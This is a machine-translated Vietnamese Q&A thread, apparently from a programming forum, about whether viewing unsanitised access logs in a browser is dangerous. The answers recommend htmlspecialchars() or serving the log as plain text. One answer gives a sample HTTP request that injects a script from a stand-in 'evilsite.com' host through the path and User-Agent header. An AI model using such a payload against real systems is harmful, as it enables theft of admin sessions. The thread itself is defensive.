2009-06-26 22 views
5

Có phải điều nguy hiểm khi xem nhật ký truy cập mà không cần vệ sinh qua trình duyệt web không?Có phải điều nguy hiểm khi xem nhật ký truy cập mà không cần vệ sinh qua trình duyệt web không?

Tôi đang xem xét để ghi lại nhật ký truy cập và tôi đang xem xét nó qua trình duyệt wev, nhưng nếu kẻ tấn công sửa đổi máy chủ từ xa hoặc đại lý người dùng của bạn hoặc gì đó, anh ta có thể tấn công tôi không?

Bằng cách chèn mã tấn công vào máy chủ từ xa hoặc tác nhân người dùng hoặc ect.

Vì vậy, tôi có cần phải khử trùng bằng htmlspecialchar trước khi mở tệp nhật ký truy cập thông qua trình duyệt web không?

Tôi có nghĩa là kẻ tấn công sẽ chèn một số mã tấn công vào máy chủ từ xa hoặc tác nhân người dùng hoặc someware của nó, sau đó tôi thấy nhật ký truy cập thông qua trình duyệt web, sau đó máy tính của tôi sẽ bị ảnh hưởng mã đó.

Trả lời

3

Bạn có thể muốn một số định dạng html cho đầu ra và do đó phải vệ sinh/mã hóa dữ liệu nhật ký. Nhưng đối với các đối số vì lợi ích: Nếu bạn gửi đầu ra dưới dạng văn bản/đồng bằng, ứng dụng khách không được phân tích cú pháp bất kỳ html/javascript nào.
Ví dụ: đầu ra của

<?php 
header('Content-type: text/plain; charset=utf-8'); 
echo '<script>alert(document.URL);</script>';
hiển thị là
<script>alert(document.URL);</script>
(ít nhất là trong FF3, IE8, opera, safari).

+1

vâng, cảm ơn. Sau đó, tôi tốt hơn làm cho phần mở rộng tập tin đăng nhập là "txt", vì vậy tôi an toàn. –

+0

Tôi có nghĩa là "log.txt" là an toàn, nhưng "log.html" là nguy hiểm. –

+0

nếu "log.txt" thực sự là giải pháp tại sao câu hỏi được gắn thẻ là "php php5"? – VolkerK

4

Về mặt lý thuyết, có thể, có, và bạn nên tự khen mình vì có tư duy đúng đắn để suy nghĩ về nó theo cách đó. Vệ sinh bất kỳ đầu vào không kiểm soát được trước khi hiển thị nó trong trình duyệt web luôn là một ý tưởng hay.

Tôi sẽ chạy đầu ra nhật ký qua htmlspecialchars().

5

Có, điều này rất nguy hiểm.

Ví dụ, một người sử dụng độc hại chỉ có thể yêu cầu một cái gì đó như thế này:

GET /<script src="http://www.evilsite.com/malicious.js"></script> HTTP/1.1 
Host: www.example.com 
Connection: close 
User-Agent: <script src="http://www.evilsite.com/malicious.js"></script> 

Và thỏa hiệp trang điểm của bạn với JavaScript độc hại.

Vì có thể bạn đang xem nhật ký trên trang web của mình, bạn sẽ được đăng nhập dưới dạng tài khoản có quyền quản trị. Với JavaScript độc hại, kẻ tấn công có thể lấy cắp cookie phiên của bạn và đảm nhận phiên của bạn, hoàn thành với tất cả những điều bạn có thể làm khi đăng nhập.

Vì vậy, kết luận, bạn nên chắc chắn trang nhật ký truy cập thoát, trừ khi bạn thích có các tài khoản quản trị của bạn bị xâm phạm.

+0

Yup. Tôi đã nhìn thấy những nỗ lực tại những thứ như thế này trong nhật ký máy chủ của tôi, vì vậy tôi khử trùng các tập lệnh trước khi xem bất kỳ phần nào của chúng trong một trang web. –

Các vấn đề liên quan